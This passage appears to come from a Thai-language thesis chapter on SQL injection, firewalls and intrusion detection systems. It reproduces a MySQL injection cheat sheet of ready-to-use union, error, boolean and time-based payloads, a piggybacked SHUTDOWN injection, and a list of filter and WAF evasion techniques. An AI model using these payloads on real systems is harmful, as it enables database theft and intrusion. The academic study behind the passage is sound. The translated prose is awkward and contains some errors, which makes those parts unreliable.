SELECT * FROM Accounts WHERE user=' '; exec xp_logininfo 
'BUILTIN\Administrators'; -- ' AND pass=' ' AND eid= 

 

 ในตัวอยางนี้สรางข้ึนในข้ันตอนการเก็บ "xp_logininfo" จะถูกดําเนินการเพื่อใหไดรับ
ขอมูลเกี่ยวกับ The BUILTIN\Administrators Windows group ท่ีผูใชกําหนดวิธีการจัดเก็บ จะเขียน
โดยโปรแกรมเมอรและมีความเส่ียงจึง มันควรจะกลาววาท้ังหมดของ SQLIAs สามารถใชสถานท่ี
ของวิธีการจัดเก็บฐานขอมูลตนแบบโดยวิธีการของพารามิเตอรของพวกเขาเชนเดียวกับดาน Web 
Application  นั่นหมายความวาวิธีการจัดเก็บสามารถเปนความเส่ียงท่ีจะถูก SQLIAs เดียวกับรหัส 
web application 
 ตัวอยาง: ผูโจมตีใส “user1” into user field and “'; SHUTDOWN; --” ลงในชองผาน
และไมมีอะไรสําหรับ Eid นี้: 
 
CREATE PROCEDURE DBO.isAuthenticated  
@userName varchar2, @pass varchar2, @pin int  
AS 
EXEC("SELECT * FROM Accounts  
WHERE user='" + @username + "' and pass='" + @password +  
"' and eid=" +@id);  

GO 
 

 ผลสรุปของ query : 
 

SELECT * FROM Accounts WHERE user='user1' AND pass=' '; SHUTDOWN; -- 
' AND eid= 
 

 ในตัวอยางขางตนเรามีการโจมตีแบบ piggyback ในสวนท่ีถูกฝงซ่ึงเปนฐานขอมูลท่ีถูก
ปดจะถูกดําเนินการในแบบ query แรก 
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2.4  การเปรียบเทียบ Firewall และ Intrusion Detection System (IDS) 
 งานวิจัยของ Archana D wankhade1 และ Dr P.N.Chatur2[4] ไดกลาวไววา 
 Firewall 
 อุปกรณท่ีมีการเช่ือมตอท่ีปลอดภัยระหวางระบบเครือขายท่ีใชในการดําเนินการและ
บังคับใชตามนโยบายรักษาความปลอดภัยสําหรับการส่ือสารระหวางเครือขาย ขอกําหนดของ 
Firewall นั้นจะถูกกําหนดใหใชอยางสรางสรรคในการสรางบารเรียข้ึนมาเพ่ือปองกันการ
แพรกระจายของ Fire จากสวนหนึ่งของอาคารหรือโครงสรางไปสูท่ีอ่ืนๆ Network Firewall นั้นจะ
จัดเตรียมบารเรียระหวางเครือขายเพ่ือขัดขวางหรือปฏิเสธการสงผานท่ีไมพึงประสงคหรือไมไดรับ
อนุญาตท่ีไดระบุไวบนอุปกรณ Firewall จะมีจุดท่ีถูกควบคุมรายการเขาและออกจากทรัพยากร
เคร่ืองคอมพิวเตอรของ Firewall ยังเปนการวัดผลทางดานการรักษาความปลอดภัยบนเครือขายเปน
ดานแรกอีกดวย 
 ประเภทของ Firewall 
 2.4.1  Firewall Packet Filtering 
 Packet filtering systems จะกําหนดเสนทางระหวางโฮสตภายในและภายนอก และจะ
กระทําโดยการเลือกมาอยางดีแลวมันจะอนุญาตหรือบล็อกแพ็คเก็ตประเภทใดๆ ก็แลวแต โดยอิง
ถึงนโยบายความปลอดภัยของเว็บไซตเอง 
 2.4.2  Stateful-inspection Firewall 
 Stateful-inspection คือการเพ่ิมประสิทธิภาพของเทคโนโลยีการกรองแพ็คเก็ต (packet 
filter technology) นอกจากน้ีการตรวจสอบเนื้อหาแพ็คเก็ตของแตละบุคคลท่ี Stateful-inspection 
ตรวจสอบนั้นนอกจากจะตรวจสอบเน้ือหาแลวยังสามารถตรวจสอบคุณลักษณะของ multipacket 
flows ไดอีกดวย แตกตางจาก packet-filtering firewalls, โดย Stateful Firewalls จะติดตามสถานะ
ของการเช่ือมตอวาการเช่ือมตออยูในกระบวนการใด เชน การเร่ิมตน การยายโอนขอมูล หรือยกเลิก
การสงขอมูล ส่ิงนี้จะเปนประโยชนเม่ือตองการที่จะปฏิเสธการเร่ิมตนของการเช่ือมตอจากอุปกรณ
ภายนอก แตจะยอมให user นั้นสรางการเช่ือมตอกับอุปกรณเหลานี้และอนุญาตใหมีการตอบ
กลับมาผานระบบ Stateful Firewall 
 2.4.3  Network Address Translation (NAT) Firewall 
 Network Address Translation จะยอมรับใหเครือขายท่ีจะใชหนึ่งชุดของ network 
addresses ภายในและชุดท่ีแตกตางกัน  มีการติดตอกับเครือขายภายนอก  Network Address 
Translation จะไมทํางานดวยตัวมันเอง แตมันจะชวยใหการปกปดรูปแบบเครือขายภายในและการ 
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บังคับใหเชื่อมตอไปผานจุด choke point เพื่อเช่ือมตอไปสู untranslated addresses จะไมทํางาน The 
choke point จะกระทําการแปลง (translation) คลายๆ กับ packet filtering, network address 
translation จะทํางานโดยมีเราเตอรทํางานในแบบพิเศษ ในกรณีนี้ไมเพียงแตเราเตอรท่ีไดทําการ 
สงแพ็กเก็ตแลวแตยังรวมถึงการปรับเปล่ียนเม่ือเคร่ืองภายในสงแพ็คเก็ตสูภายนอกอีกดวย 
 ระบบ Network Address Translation สามารถปรับเปล่ียนแหลงท่ีมาของแพ็คเก็ตท่ีจะ
ทําใหสามารถดูแพ็คเก็ตราวกับวามันจะมาจากท่ีอยูท่ีถูกตอง เม่ือเคร่ืองภายนอกสงแพ็คเก็ตเขาสู
ภายในระบบ Network Address Translation จะปรับเปล่ียน address ปลายทางท่ีเปดอยูใหมองเห็น
ไดจากภายนอกเขาสู address ภายในท่ีถูกตองได 
 ระบบ Network Address Translation ยังสามารถปรับเปล่ียน port ตนทางและ port 
ปลายทางไดอีกดวย ระบบ Network Address Translation สามารถใชรูปแบบท่ีแตกตางกันสําหรับ
การ translating ระหวาง address ภายในและภายนอก โดยกําหนดใหหนึ่ง external host address ใน
แตละ internal address มักจะใช translation ภาษาเดียวกัน วิธีนี้จะทําใหประหยัดพื้นท่ีของ address 
space และชะลอการเช่ือมตอ โดยปกติจะเปนมาตรการช่ัวคราวท่ีใชโดยเว็บไซตท่ีใช address ท่ีผิด
กฎหมายอยู แตกําลังอยูในกระบวนการของการยายไปใช address ท่ีถูกตอง 
 การกําหนดแบบ Dynamically ให external host address ในแตละคร้ังท่ีมีการเช่ือมตอ
กับ internal host address เร่ิมตนการเช่ือมตอโดยไมตองเปล่ียน port ซ่ึงจะจํากัดจํานวนของ internal 
host ท่ีสามารถเขาถึงอินเทอรเน็ตไดในจํานวนท่ี external addesses วาง การสราง fixed mapping 
จาก internal address ทีมองเห็นไดจากภายนอก แตใช port mapping เพื่อใหอุปกรณภายในหลาย
เคร่ืองใช addresses เดียวกันกับภายนอก 
 การกําหนดแบบ Dynamically นั้น external host address และ port pair ในแตละคร้ังท่ี
โฮสตภายในเร่ิมตนการเช่ือมตอ ส่ิงนี้จะทําใหการใชงาน external host addresses เปนไปอยางมี
ประสิทธิภาพมากท่ีสุด 
 2.4.4  Application Based Firewall (Proxy Firewall) 
 แพ็คเก็ตซอฟตแวรท่ีจัดการจะยอมรับหรือปฏิเสธ (allows or denies) การเขาถึง
เครือขาย ประวัติจะเก็บขอมูลคนท่ีพยายามจะเขามาและส่ิงท่ีเขาไดกระทําไปแลวเอาไว ในวิธีการนี้ 
Firewall ยังคงตอนําไปใชในการควบคุมของ Traffic Application ในระดับ Gateway ทําหนาท่ีเปน 
proxy ในการใชงาน แสดงการแลกเปล่ียนขอมูลท้ังหมด ส่ิงนี้สามารถ render เคร่ืองคอมพิวเตอร
หลัง firewall ได แตมองไมเห็นระบบ remote system มันสามารถอนุญาตหรือไมอนุญาต traffic 
ตามกฎท่ีเฉพาะเจาะจง ตัวอยางเชน การอนุญาตใหบางคําส่ังสงไปยังเซิรฟเวอร แตไมสงไปท่ีอ่ืน  
และจํากัดการเขาถึงไฟลบางประเภทที่แตกตางกันไปตามกฎระเบียบท่ีผูใชสิทธ์ิไดตั้งเอาไว 
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 Firewall ประเภทนี้นั้นอาจจะแสดงผลของรายละเอียดเจาะลึกของ traffic และ 
monitoring เหตุการณท่ีเกิดข้ึนใน host system และมักจะสงเสียงสัญญาณเตือนหรือแจงเตือนตาม
เหตุการณภายใตเง่ือนไขท่ีถูกกําหนด 
 การดําเนินงานใน Application Firewall: 
 ข้ันตอนท่ี 1:  ขอ HTTP เร่ิมจาก 192.168.6.77:3128 Client Browser 
 ข้ันตอนท่ี 2:  Firewall - HTTP Proxy รับคําขอและ filter ข้ึนอยูกับกฎและนโยบาย 
 ข้ันตอนท่ี 3:  ตรวจสอบคําขอ HTTP จาก 60.45.2.6 (Application Firewall) ท่ีมีตอ web 
application server 
 ขั้นตอนท่ี 4:  HTTP ตอบสนองตอ 60.45.2.6 จาก internet server 
 ข้ันตอนท่ี 5:  Proxy Firewall ทํา content based filtering  อีกคร้ัง 
 ข้ันตอนท่ี 6:  ตอบสนองตอ object ท่ีสงตอไปยัง client machine’s browser 
 2.4.5  Hybrid firewalls 
 ลาสุดความกาวหนาของ  network infrastructure engineering และการรักษาความ
ปลอดภัยดานขอมูล ไดกอใหเกิด blurring of the lines ท่ีแตกตางจาก Firewall แพลตฟอรมตางๆ 
ท่ีกลาวถึงกอนหนานี้เปนผลเน่ืองมาจากส่ิงเหลานี้ : ผลิตภัณฑ firewall ในปจจุบันไดรวมฟงกชัน
การทํางานของฟงกช่ันที่แตกตางกันของ firewall เอาไวในตัวเดียว 
 ยกตัวอยางเชน Application-Proxy Gateway firewall หลายฟงกช่ันไดดําเนินการ 
packet filter ข้ันพื้นฐานในการส่ังซ้ือ เพื่อใหการสนับสนุน UDP (User Diagram) ท่ีดีกวาตามการ
ใชงาน Apllication ในทํานองเดียวกันกับการ packet filter จํานวนมากหรือ Stateful inspection 
packet filter ซ่ึง vendors ไดดําเนินการการทํางานฟงกช่ันพื้นฐานของ application-proxy ในการ
ชดเชยบางสวนของจุดออนท่ีเกี่ยวของกับแพลตฟอรมของ firewall โดยกรณีสวนใหญจะทําการ 
packet filter หรือ Stateful inspection packet filter เพื่อตรวจสอบการใช application proxies เพื่อให
การเขา traffic ของระบบเครือขายและตรวจสอบผูใชไดดีข้ึน 
 บอยคร้ังท่ีตัวเลือกท่ีดีที่สุดคือ firewall ท่ีมีสถาปตยกรรมแบบ hybrid ท่ีสามารถรวม 
packet filtering และ application layer proxies ไดส่ิงนี้จะชวยใหอุปกรณการปองกัน firewall ของ
องคกรเพิ่มประสิทธิภาพการทํางานและยังรักษาความเหมาะสมของการรักษาความปลอดภัย
สําหรับความเส่ียงท่ีคลายกัน 
 Hybrid firewalls จะทําการ packet filtering แบบเรียบงายเพื่อใหอัตราความเร็วสูง
สําหรับ lowest-risk traffic ตรวจสอบอยางเต็มรูปแบบสําหรับ slightly riskier traffic และ 
application layer gateway ท่ีท่ีมีความเส่ียงของการถูกโจมตีท่ีขับเคล่ือนทางขอมูลมากท่ีสุด 
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ภาพท่ี 2.2  การเปรียบเทียบ Firewall แตละประเภท 
 

 2.4.6  ขอจํากัดของ Firewall 
 Firewall มีการปองกันท่ีดีเยี่ยมตอภัยคุกคามบนระบบเครือขาย แตไมไดเปนโซลูช่ัน
ระบบรักษาความปลอดภัยท่ีสมบูรณแบบ 100% ภัยคุกคามบางอยางท่ีอยูนอกเหนือการควบคุมของ 
Firewall จึงตองคิดหาทางอ่ืนๆ เพ่ือปองกันภัยคุกคามเหลานี้ดวยเชน การรักษาความปลอดภัยท่ี
แบบทางกายภาพ (physical security) การรักษาความปลอดภัยโฮสต (host security) และการศึกษา
ผูใชเพื่อวางแผนการรักษาความปลอดภัยโดยรวมใหกับองคกร จุดออนบางจุดของ Firewall 
จะกลาวถึงดังนี้ 
 Firewall ไมสามารถปองกันใหไดจากภัยอันตรายท่ีเกิดจากภายใน 
 Firewall ไมสามารถปองกันใหไดจากการเช่ือมตอท่ีไมผานอุปกรณ Firewall 
 Firewall ไมสามารถปองกันภัยคุกคามใหมท่ีสมบูรณแบบได 
 Firewall ไมสามารถปองกันตอไวรัสท่ีสมบูรณแบบได 
 Firewall ไมสามารถตั้งคาดวยตัวมันเองไดอยางถูกตอง 
 Firewall ไมสามารถปฏิบัติกับปญหาท่ีแทจริงได 
 
 



18 

 Intrusion Detection System (IDS) 
 Intrusion Detection System (IDS) คือ  ชุดของเทคนิคและวิ ธีการ ท่ีจะใชในการ
ตรวจสอบกิจกรรมท่ีนาสงสัยท้ังในระดับเครือขายและระดับ host ระบบตรวจจับการบุกรุกตกอยู
ในสองประเภทพื้นฐานดังนี้ ระบบตรวจจับการบุกรุกแบบ signature-based และการตรวจสอบ
ความผิดปกติของระบบ  (anomaly detection system) ผู บุกรุกมี  signatures คลายๆ  กับไวรัส
คอมพิวเตอรท่ีสามารถตรวจพบการใชซอฟตแวรได คุณพยายามท่ีจะหา data packets ที่มี intrusion-
related signatures หรือ anomalies related ท่ีเกี่ยวของกับอินเทอรเน็ตโปรโตคอล ข้ึนอยูกับการ 
ตั้งคาของ signatures และกฎระเบียบของระบบการตรวจสอบท่ีสามารถใชในการคนหาและบันทึก
กิจกรรมท่ีนาสงสัยและสรางการแจงเตือน 
 ระบบการตรวจจับการบุกรุกแบบ Anomaly-based มักจะข้ึนอยูกับความผิดปกติของ
แพ็คเก็ตท่ีมีอยูในสวนของ protocol header ในบางกรณีวิธีการเหลานี้กอใหเกิดผลท่ีดีข้ึนเม่ือเทียบ
กับ signature-based IDS ระบบตรวจจับการบุกรุกจะจับขอมูลจากเครือขายและใชกฎเพื่อตรวจหา
ความผิดปกติในนั้น 
 ประเภทของ IDS 
 2.4.7  Network IDS 
 NIDS คือระบบตรวจจับการบุกรุกท่ีจับแพ็กเก็ตขอมูลการเดินทางบนเครือขาย 
(สายเคเบิล, wireless) และทําการจับคูควบกันไปยังฐานขอมูลขอ signatures ข้ึนอยูกับวาแพ็คเก็ตจะ
ถูกจับคูกับ signature ของผูบุกรุก การแจงเตือนจะถูกสรางข้ึนหรือถูกบันทึกแพ็คเก็ตลงในไฟลหรือ
ฐานขอมูล 
 2.4.8  Host IDS or HIDS 
 ระบบตรวจจับการบุกรุก Host-based หรือ HIDS ถูกติดต้ังแทน agents on a host ระบบ
ตรวจจับการบุกรุกเหลานี้สามารถมองเขาไปในระบบและเขาถึง  application log files เพื่อ
ตรวจสอบไฟลกิจกรรมของผูบุกรุกได บางสวนของระบบเหลานี้มีปฏิกิริยาวาอุปกรณไดแจงให
ทราบถึงบางส่ิงเม่ือมีเหตุการณเกิดข้ึน 
 บาง HIDS นั้นก็เปนเชิงรุก สามารถ sniff traffic บนเครือขายที่จะมาเปน particular host 
โดยเฉพาะอยางยิ่งในการท่ี HIDS ถูกติดต้ังและแจงเตือนแบบ real time 
 2.4.9 Protocol based IDS 
   Orifice based IDS นั้นจะถูกติดต้ังบนเซิรฟเวอรและมันจะทําการวิเคราะหเซิรฟเวอร  
มันต้ังอยูท่ี fromt end ของเซิรฟเวอร เพื่อ monitoring และวิเคราะหพฤติกรรมแบบไดนามิกและ
สถานะการส่ือสารของโปรโตคอลระหวางอุปกรณท่ีเช่ือมตอและเซิรฟเวอร 
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 2.4.10  Application protocol based IDS 
 Application protocol based IDS ปกติจะต้ังอยูระหวางกลุมของการใหบริการกับ
กระบวนการตรวจสอบและวิเคราะหพฤติกรรมและสถานะของโปรโตคอลในการใชงานโดยระบบ 
ระหวางอุปกรณสองตัวท่ีเช่ือมตอกัน 
 2.4.11 Anomaly based IDS 
 Anomaly based IDS จะตรวจพบการโจมตีคอมพิวเตอรโดยการตรวจสอบการทํางาน
ของระบบและการจําแนกวามันเปนปกติหรือผิดปกติ และจะพยายามท่ีจะอธิบายลักษณะพฤติกรรม
ท่ีผิดปกติและพยายามตรวจสอบการเบ่ียงเบนจากพฤติกรรมปกติ  ขอดีของการตรวจสอบความ
ผิดปกติแบบนี้ มีอัตราการตรวจจับท่ีคอนขางสูงสําหรับรูปแบบการโจมตีแบบใหม 
 2.4.12  Misuse Based 
 เรียกวาเปน Signature based IDS สามารถดําเนินการตามขั้นตอนท่ีเรียบงายของการ
จับคูในรูปแบบท่ีสอดคลองกันกับประเภทของการโจมตีท่ีมันรูจักกัน นอกจากนี้ยังเปนท่ีรูจักกันใน
รูปแบบ based IDS ประโยชนหลักของ signature based IDS คือมีอัตราการเตือนภัยท่ีผิดพลาด
คอนขางตํ่า ซ่ึงหมายความวามันมีความแมนยําคอนขางสูง และขอเสียเปรียบหลักขอ IDS เหลานี้คือ
การท่ีอัตราการตรวจจับการโจมตีคอนขางตํ่าเพราะผูโจมตีจะพยายามปรับเปล่ียนพ้ืนฐาน attack 
signature ในลักษณะท่ีวามันจะไมตรงกับ signature ท่ีรูจักในการโจมตีนั้นๆและมันไมสามารถ
ตรวจพบการโจมตีใหมซ่ึงเปน signature ท่ียังไมถูกติดต้ังในฐานขอมูล 
 2.4.13  Hybrid based 
 Hybrid based IDS จะรวมเปนหนึ่งหรือมากกวาหนึ่งวิธี Host agent data จะถูกรวมเขา
กับขอมูลเครือขายในรูปแบบมุมมองท่ีครอบคลุมท้ังเครือขาย 
 2.4.14  ฟงกช่ันของ IDS 
 ระบบตรวจจับการบุกรุกจะแสดงความหลากหลายของฟงกช่ัน 
 ตรวจสอบและวิเคราะหผูใชและระบบกิจกรรม 
 การตรวจสอบของการกําหนดคาระบบและชองโหว 
 การประเมินความสมบูรณของระบบท่ีสําคัญและไฟลขอมูลท่ีสําคัญ 
 การรับรูรูปแบบกิจกรรมท่ีสะทอนใหเห็นถึงการโจมตีท่ีรูจัก 
 การวิเคราะหทางสถิติตอรูปแบบกิจกรรมท่ีผิดปกติ 
 ระบบปฏิบัติการการจัดการตรวจสอบรองรอย ดวยความจําของกิจกรรมของผูใช
สะทอนใหเห็นถึงการละเมิดนโยบาย 
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 2.4.15 ขอจํากัดของ IDS 
 การตรวจหาการโจมตีหลังจากท่ีผูบุกรุกไดเขาไปในเครือขายแลวและไมไดทําอะไร
เพื่อหยุดการโจมตี 
 ไมสามารถคาดหวังในการตรวจสอบกิจกรรมท่ีเปนอันตรายท้ังหมด ไดตลอดเวลา การ
แจงเตือนท่ีจะเปน false positive or false negative alarm ก็ได 
 ไมสามารถผสมผสานเขากันกับกฏการรักษาความปลอดภัย (filtering rules security) 
เพื่อหยุด traffic จากการโจมตี 

 
2.5  แผนกลโกง MySQL SQL Injection 
 บทความขอ Perspective Risk [5] ไดกลาวไววา มีวิธีลัดโดยใช SQL Injection มากมาย 
อยางไรก็ตามพบวา คนสวนใหญไดระบุสวนประกอบของ SQL Injection มากกวาการทํางานของ 
String ซ่ึงสงผลใหไมประสบความสําเร็จในการทดลอง จากความผิดพลาดและการเสียเวลาท่ีผาน
มา ทําใหไดพยายามสรางรายการของ pre-made String สําหรับประเภทของ SQL Injection เพื่อให
สามารถทํางานและรองรับการเปล่ียนแปลงได SQL Injection สามารถแบงไดออกเปน 3 ประเภท 
ไดแก Union Based, Error Based (XPath and Double Query) และ inferential (Time Based and 
Boolean) ดานลางนี้จะพบกับรูปแบบคําส่ังท่ีเฉพาะเจาะจง ท่ีไดลงวิธีลัดสําหรับ MSS มาใหเพื่อ
หลีกเล่ียงความซํ้าซอน ทุกที่ท่ีพบเห็น:  
 version()  -  ใชในการดึงรุนฐานขอมูล 

 database()  -  เพื่อเรียกช่ือฐานขอมูลปจจุบัน 
 user()  -  เพื่อเรียกช่ือผูใชฐานขอมลท่ีทํางานภายใตฐานขอมูล 
 @@hostname  -  เพื่อเรียก hostname และ IP address ในเคร่ืองแมขาย  
 @@datadir  -  เพื่อเรียกตําแหนงไฟลของฐานขอมูล 

 จากตัวอยางนั้นถูกสรางข้ึนเพื่อใสขอมูลเขาไปใน integer และหากเปนขอมูล String ให
ใสคําส่ังเดี่ยวเขาไปหลังพารามิเตอร ผมยังไดรวมความคิดเห็นของคุณลักษณะในการใส String 
อยางไรก็ตามไมจําเปนตองข้ึนอยูกับการใสแบบสอบถาม SQL อันนี้ สุดทายอยาลืมชองวางสําหรับ
คําแนะนํา 
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 2.5.1 Union Based 
 UNION ใชสําหรับการตอทาย SQL Injection เพื่อการสืบคนขอมูลท่ีถูกตองตามกฎ
และรวบรวมขอมูลท่ีเราไดดึงมาจากแบบสอบถามท่ีถูกตองตามกฎ โปรดทราบวาจะตองระบุ
จํานวนแถวแรก สามารถทําไดโดยใชฟงกช่ัน ORDER BY หรือใช UNION with NULL values. 
Assuming there are two columns: 
 

Retrieve database version: 
 

1 UNION ALL SELECT NULL,version()-- 

Retrieve database names: 

1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata-- 

Retrieve table names: 

1 UNION ALL SELECT NULL,concat(TABLE_NAME) FROM 
information_schema.TABLES WHERE table_schema='database1'-- 

Retrieve column names: 

1 UNION ALL SELECT NULL,concat(column_name) FROM 
information_schema.COLUMNS WHERE TABLE_NAME='table1'-- 

Retrieve data: 

1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM table1-- 

Retrieve data from another database: 

1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM 
database2.table1-- 

 
 2.5.2  Error Based 
 เม่ือเกิดขอผิดพลาดของ MySQL สามารถใชชองทางผานขอผิดพลาดน้ัน ในการโจมตี
ไดโดยวิธีการนี้สามารถใชเคร่ืองมือท่ีช่ือวา Burp’s Intruder และ grep extract ได 
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 2.5.3  XPath 
 การทํางานแบบ ExtractValue() สรางขอผิดพลาด SQL เม่ือมันไมสามารถแยกขอมูล 
XML ได โชคดีท่ีในขอมูล XML และในกรณีของเรา จะไดรับการประเมินผลของแบบสอบถาม 
โดยจะฝงตัวในขอผิดพลาดท่ีตามมา กอน full stop หรือ a colon (ดานลางใชเลขฐานสิบหกของ 
0x3a) เพื่อเปนการเร่ิมตนแบบสอบถาม XML ใหแนใจวาการวิเคราะหขอมูลจะลมเหลว และสราง
ขอผิดพลาดมากับขอความที่จํากัด โปรดทราบวาการทํางานน้ีสามารถทํางานไดเฉพาะกับ MySQL 
version 5.1 หรือสูงกวา และใชฟงกช่ัน LIMIT ในการเขาสูขอมูลของฐานขอมูล 
 

Retrieve database version: 
 

1 AND extractvalue(rand(),concat(0x3a,version()))-- 

Retrieve database names: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM 
information_schema.schemata LIMIT 0,1)))-- 

Retrieve table names: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM 
information_schema.TABLES WHERE table_schema="database1" LIMIT 0,1)))-- 

Retrieve column names: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM 
information_schema.TABLES WHERE TABLE_NAME="table1" LIMIT 0,1)))-- 

Retrieve data: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(column1,0x3a,column2) FROM 
table1 LIMIT 0,1)))-- 

Retrieve data from another database: 

1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(column1,0x3a,column2) FROM 
database2.table1 LIMIT 0,1)))-- 
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 2.5.4  Double Query 
 การทํางานท่ีใชดานลางนี้ไดผสานการผลิตแบบสอบถามโดยถูกยอมรับโดย MySQL 
compiler แตขอผิดพลาดขณะทํางานนั้นจะถูกสงกลับ และมันจะประเมินและรวมการประเมินยอย 
(เนื่องจากคูท่ีเลือก), จึงสงผลการใสขอมูลกลับไป และเพ่ิม LIMIT แรก ไปในวงจรขอมูลของ
ฐานขอมูล 
 

Retrieve database version: 
 

1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x 
FROM information_schema.TABLES GROUP BY x)a)-- 

Retrieve database names: 

1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT schema_name 
FROM information_schema.schemata LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM 
information_schema.schemata GROUP BY a LIMIT 0,1)b)-- 

Retrieve table names: 

1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT TABLE_NAME 
FROM information_schema.TABLES WHERE table_schema="database1" LIMIT 
0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.TABLES GROUP BY a LIMIT 
0,1)b)-- 

Retrieve column names: 

1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name 
FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 
0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a 
LIMIT 0,1)b)-- 

Retrieve data: 

1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT column1 FROM 
table1 LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY 
x)a)-- 
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Retrieve data from another database: 

1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT column1 FROM 
database2.table1 LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES 
GROUP BY x)a)-- 

 
 2.5.5  Inferential 
 เม่ือไมมีขอมูลหรือขอความที่ผิดพลาดสงกลับมา สามารถใชเวลาท่ีลาชา หรือการ
ตอบสนองจริง / เท็จในการดึงขอมูลในฐานขอมูล โปรดทราบวาเคร่ืองมืออัตโนมัติ เชน sqlmap มี
นัยสําคัญในการเรงกระบวนการ 
 2.5.6  Boolean 
  ประเภทของการสกัดนี้จะใชเม่ือแอพลิเคชันสงกลับผลลัพธท่ีแตกตางกันข้ึนอยูกับ
แบบสอบถาม SQL และการประเมินวาจริงหรือเท็จ ถาเราแปลงคุณลักษณะแตละตัวของแตละสวน
ของฐานขอมูลท่ีตองการที่จะดึงการแสดงทศนิยม โดยใชฟงกช่ัน ASCII สามารถสรางเง่ือนไขจริง
หรือเท็จใชสัญลักษณมากกวานอยกวาและเทากับ แลวใชฟงกช่ันอักขระยอยและช้ินสวนของ
ฐานขอมูลโดยใช LIMIT ฟงกช่ัน 
 

Test for the presence of the vulnerability. This query should result in the original page being 
displayed: 
 

1 AND 1=1 

Whilst this query should return a different page: 

1 AND 1=2 

Retrieve version: 

1 AND (ascii(substr((SELECT version()),1,1))) > 52-- 

Note, a better way to retrieve the version in this context is to use the LIKE function: 

1 AND (SELECT version()) LIKE "5%"-- 
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Retrieve databases: 

1 AND (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 
0,1),1,1))) > 95-- 

Retrieve tables: 

1 AND (ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES 
WHERE table_schema="database1" LIMIT 0,1),1,1))) > 95-- 

Retrieve columns: 

1 AND (ascii(substr((SELECT column_name FROM information_schema.COLUMNS 
WHERE TABLE_NAME="table1" LIMIT 0,1),1,1))) > 95-- 

Retrieve data: 

1 AND (ascii(substr((SELECT column1 FROM table1 LIMIT 0,1),1,1))) > 95-- 

Retrieve data from another database: 

1 AND (ascii(substr((SELECT column1 FROM database2.table1 LIMIT 0,1),1,1))) > 95-- 
 

 2.5.7 Time Based 
 หากหนาเหมือนจะถูกสงกลับสําหรับการตอบสนองท่ีจริงหรือเท็จ เวลาท่ีลาชาสามารถ
สรางข้ึนโดยฟงกช่ัน IF และ SLEEP และใชในการสรุปขอมูลในฐานขอมูลแทน  
 

Test for the presence of the vulnerability: 
 

1 AND sleep(10)-- 

Retrieve version: 

1 AND IF((SELECT ascii(substr(version(),1,1))) > 53,sleep(10),NULL)-- 

Retrieve version using LIKE: 

1 AND IF((SELECT version()) LIKE "5%",sleep(10),NULL)-- 
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Retrieve databases: 

1 AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata 
LIMIT 0,1),1,1)))) > 95,sleep(10),NULL)-- 

Retrieve tables: 

1 AND IF(((ascii(substr((SELECT TABLE_NAME FROM information_schema.TABLES 
WHERE table_schema="database1" LIMIT 0,1),1,1))))> 95,sleep(10),NULL)-- 

Retrieve columns: 

1 AND IF(((ascii(substr((SELECT column_name FROM information_schema.COLUMNS 
WHERE TABLE_NAME="table1" LIMIT 0,1),1,1)))) > 95,sleep(10),NULL)-- 

Retrieve data: 

1 AND IF(((ascii(substr((SELECT column1 FROM table1 LIMIT 0,1),1,1)))) > 
95,sleep(10),NULL)-- 

Retrieve data from another database: 

1 AND IF(((ascii(substr((SELECT column1 FROM database1.table1 LIMIT 0,1),1,1)))) 
>95,sleep(10),NULL)-- 

 
2.6  เทคนิคเพิ่มประสิทธิภาพการหลบหลีกการตรวจจับ SQL Injection 
 บทความของ Roberto Salgado [6] ไดกลาวไววา 
 1. Optimization 
  Analysis of Methods 
  Bisection Method 
  Regex Method 
  Bitwise Methods 
  Bin2Pos Method 
  Optimizing Queries 
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 2. Obfuscation 
  Fuzzers 
  Encodings 
  URL encode 
  Double URL encode 
  Unicode encode 
  UTF-8 encode 
  Nibble encode 
  Invalid Percent encode 
  Invalid Hex encode 
 3. Advanced Obfuscation 
  Common types of SQL filters 
  Bypassing SQL Injection filters 
  Case Variation 
  SQL Comments 
  URL Encoding 
  CAST and CONVERT keywords 
  Dynamic Query Execution 
  Null Bytes 
  Nesting Stripped Expressions 
  Truncation 
 4. More Advanced 
  Regexp Based WAF 
  NULL Alias 
  Floating Point 
  Hexadecimal Literals 
  Binary Literals 
  C-Style String Merging 
  Ad-Hoc Charset 
  Operators 
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  Expression 
  "IN" lists 
  Esp: 
 ในสารนิพนธนี้จะหารือและเปรียบเทียบความหลากหลายของวิธีการเพ่ิมประสิทธิภาพ
ซ่ึงสามารถมีประสิทธิภาพสูงเม่ือใชประโยชนจาก Blind SQL Injection นอกจากนี้ยังจะแนะนํา 
SQL Queries ซ่ึงสามารถใชในการถายโอนขอมูลฐานขอมูลท้ังหมดที่มีเพียงหน่ึงคําส่ัง ทําใหมัน
เปนเร่ืองงายมากท่ีจะดึงขอมูลไดอยางรวดเร็วในขณะท่ีจะไมมีใครสังเกตเห็น นอกจากนี้ยังจะ
ตรวจสอบเทคนิค obfuscation หลายอยางท่ีสามารถทําให SQL Injection หลุดลอดผานไฟรวอลล
ได เม่ือรวมเทคนิคเหลานี้จะเปนการสรางการโจมตีรายแรง 
